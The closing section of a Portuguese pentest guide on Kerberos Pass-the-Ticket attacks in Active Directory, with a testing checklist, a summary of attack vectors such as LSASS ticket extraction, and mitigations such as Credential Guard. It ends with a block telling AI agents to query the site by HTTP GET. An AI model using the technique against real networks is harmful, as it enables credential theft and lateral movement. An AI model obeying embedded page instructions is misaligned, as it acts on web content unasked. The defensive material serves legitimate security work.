* [ ] Testar acesso SMB/WMI
* [ ] Testar movimento lateral

#### **Documentação**

* [ ] Documentar hosts acessados
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Pass-the-Ticket Attack:

  🔴 Principais Vetores:
    - Tickets TGT extraídos da memória
    - Service tickets de serviços críticos
    - LSASS sem proteção
    - Tickets com vida longa

  🛡️ Mitigações Essenciais:
    - Reduzir vida útil dos tickets
    - Habilitar Kerberos Armoring (FAST)
    - Proteger LSASS (Credential Guard)
    - Usar Protected Users group

  🎯 Prioridade:
    - CRÍTICA: Proteger LSASS
    - ALTA: Reduzir vida útil dos tickets
    - MÉDIA: Kerberos Armoring
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/pass-the-ticket-ptt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.